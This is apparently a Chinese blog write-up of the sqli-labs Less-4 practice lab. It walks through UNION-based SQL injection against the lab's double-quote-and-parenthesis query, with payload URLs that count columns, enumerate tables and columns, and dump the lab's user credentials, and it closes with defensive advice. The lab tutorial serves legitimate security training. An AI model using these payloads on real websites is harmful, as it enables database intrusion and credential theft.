双引号与括号的博弈:sqli-labs第四关注入实战(图文结合详解)

目录

引言

实验环境

第一步:判断注入点

[第二步:确定字段数(ORDER BY)](#第二步:确定字段数(ORDER BY))

[第三步:确定显示位(UNION SELECT)](#第三步:确定显示位(UNION SELECT))

第四步:获取数据库名

第五步:获取表名

第六步:获取列名

第七步:获取数据

技术原理解析

第四关的闭合方式

UNION注入的通用步骤

为什么用--+注释?

防御建议

总结


引言

在前三关中,我们分别体验了单引号字符型、数字型以及单引号加括号的注入。今天,我们将挑战第四关------一个以双引号加括号包裹参数的注入场景。后台SQL语句形如WHERE id = ("$id"),这意味着我们需要同时闭合双引号和左括号,并注释掉右括号。虽然闭合方式有所变化,但只要掌握了SQL语句的构造规律,任何复杂的闭合都能迎刃而解。接下来,让我们一起进入第四关的实战。

实验环境

  • 靶场:sqli-labs(Less-4)

  • 目标URL:http://192.168.179.42:8084/Less-4/?id=1

  • 注入类型:字符型注入(双引号加括号)

第一步:判断注入点

首先,访问正常页面:http://192.168.179.42:8084/Less-4/?id=1

页面返回一个用户名和密码(Dumb / Dumb),说明参数id=1被正常处理。猜测后台SQL语句可能是:

sql

复制代码
SELECT * FROM 某表 WHERE id = ("1") LIMIT 0,1

这里的id值被双引号和括号包围。

为了测试注入点,我们尝试输入一个双引号:

复制代码
http://192.168.179.42:8084/Less-4/?id=1"

页面报错,错误信息中可以看到("1"" LIMIT 0,1)附近有问题。这说明参数确实被双引号和括号包围。

接下来,我们需要找到正确的闭合方式。尝试输入1")并用注释符--+注释掉后面内容:

复制代码
http://192.168.179.42:8084/Less-4/?id=1") --+

页面正常显示id=1的数据!说明我们成功闭合了前面的("1,并用注释符去掉了后面的") LIMIT 0,1。原始语句变成了:

复制代码
SELECT * FROM 某表 WHERE id = ("1") -- ") LIMIT 0,1

因此,第四关的闭合方式是:先输入数字,然后加上"),最后用--+注释

第二步:确定字段数(ORDER BY)

使用ORDER BY猜测当前查询的列数。注意保留闭合方式。

依次尝试:

  • http://192.168.179.42:8084/Less-4/?id=1") order by 1 --+ → 正常
  • order by 2 → 正常

  • order by 3 → 正常

  • order by 4 → 报错(Unknown column '4' in 'order clause')

说明只有3列

第三步:确定显示位(UNION SELECT)

知道字段数为3后,用UNION SELECT找出哪些列会显示在页面上。将id设为不存在的值(如-1),保持闭合方式。

Payload:

复制代码
http://192.168.179.42:8084/Less-4/?id=-1") union select 1,2,3 --+

页面中,原本显示用户名和密码的位置变成了数字23。说明第2列和第3列是显示位。

第四步:获取数据库名

利用database()函数获取当前数据库名,放在第2列。

Payload:

复制代码
http://192.168.179.42:8084/Less-4/?id=-1") union select 1,database(),3 --+

页面第2列显示security,数据库名为security

第五步:获取表名

查询information_schema.tables获取当前数据库的所有表名,使用group_concat()合并。

Payload:

复制代码
http://192.168.179.42:8084/Less-4/?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

页面返回:

复制代码
emails,referers,uagents,users

users表是我们的目标。

第六步:获取列名

查询users表中的列名,使用information_schema.columns

Payload:

复制代码
http://192.168.179.42:8084/Less-4/?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

页面显示:

复制代码
id,username,password

第七步:获取数据

最后,从users表中提取usernamepassword,用group_concat连接。

Payload:

复制代码
http://192.168.179.42:8084/Less-4/?id=-1") union select 1,group_concat(username,0x3a,password),3 from users --+

0x3a为冒号的十六进制表示)

页面返回所有用户凭证:

复制代码
Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4

注入成功!

技术原理解析

第四关的闭合方式

第四关的SQL语句为WHERE id = ("$id")。当我们在URL中输入1") --+时,实际拼接到SQL中的是:

text

复制代码
WHERE id = ("1") -- ")

--注释掉后面的") LIMIT 0,1,使得语句合法且返回id=1的数据。这告诉我们,面对双引号和括号的双重包裹,关键在于找到闭合它们的正确序列:数字 + 双引号 + 右括号

UNION注入的通用步骤

无论闭合方式如何,一旦确定了列数和显示位,后续的UNION注入流程都是固定的:查库名→查表名→查列名→查数据。这一流程利用了information_schema数据库的元数据信息,是手工注入的标准化操作。

为什么用--+注释?

在原始SQL语句末尾可能包含LIMIT 0,1等额外内容,如果不注释掉会导致语法错误。--+在URL中相当于--(空格),是SQL的标准单行注释符。

防御建议

  1. 使用参数化查询

    参数化查询是防御SQL注入的最有效手段。在PHP中可以使用PDO或MySQLi的预处理语句,确保用户输入不会被拼接到SQL语句中。

    php

    复制代码
    $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
    $stmt->execute([$_GET['id']]);
  2. 输入验证与过滤

    对于数字型参数,应强制转换为整型;对于字符串,进行严格的白名单校验或使用过滤函数,但预处理更为安全。

  3. 最小权限原则

    数据库连接账户应仅授予必要的权限,例如只对特定表有SELECT权限,避免攻击者通过注入执行UNIONINSERT等危险操作。

  4. 错误信息处理

    关闭数据库错误信息的直接输出,防止攻击者通过报错信息推断SQL语句结构。建议自定义错误页面。

  5. 定期安全审计

    使用自动化工具扫描SQL注入漏洞,并对关键代码进行人工审查,确保无安全遗漏。

总结

sqli-labs第四关为我们展示了双引号加括号包裹的字符型注入。虽然闭合方式与前三关不同,但核心思想一致:通过试探找到闭合序列,然后利用UNION查询获取数据。这一关再次强调,任何形式的用户输入拼接都可能引入安全风险,开发者必须采用安全的编码实践。希望这篇实战记录能帮助你全面掌握各类闭合情况下的SQL注入技术。

相关推荐
Java水解3 小时前
SQL 核心概念:JOIN 和 UNION 到底有什么区别?
后端·sql
Y001112363 小时前
Day10-MySQL-事物
数据库·sql·mysql
V1ncent Chen5 小时前
SQL大师之路 12 函数基础
数据库·sql·mysql·数据分析
焚 城5 小时前
SQL PARTITION BY用法
数据库·sql
zdl68610 小时前
mybatisPlus打印sql配置
数据库·sql
zdl68610 小时前
Mybatis控制台打印SQL执行信息(执行方法、执行SQL、执行时间)
数据库·sql·mybatis
亓才孓10 小时前
【MySQL】索引和SQL优化
数据库·sql·mysql
百锦再10 小时前
Spring Boot + JWT + RBAC 权限系统实战,从登录鉴权到接口级权限控制完整落地
java·数据库·spring boot·后端·sql·mysql·oracle
星马梦缘17 小时前
数据库作战记录1
数据库·sql·mysql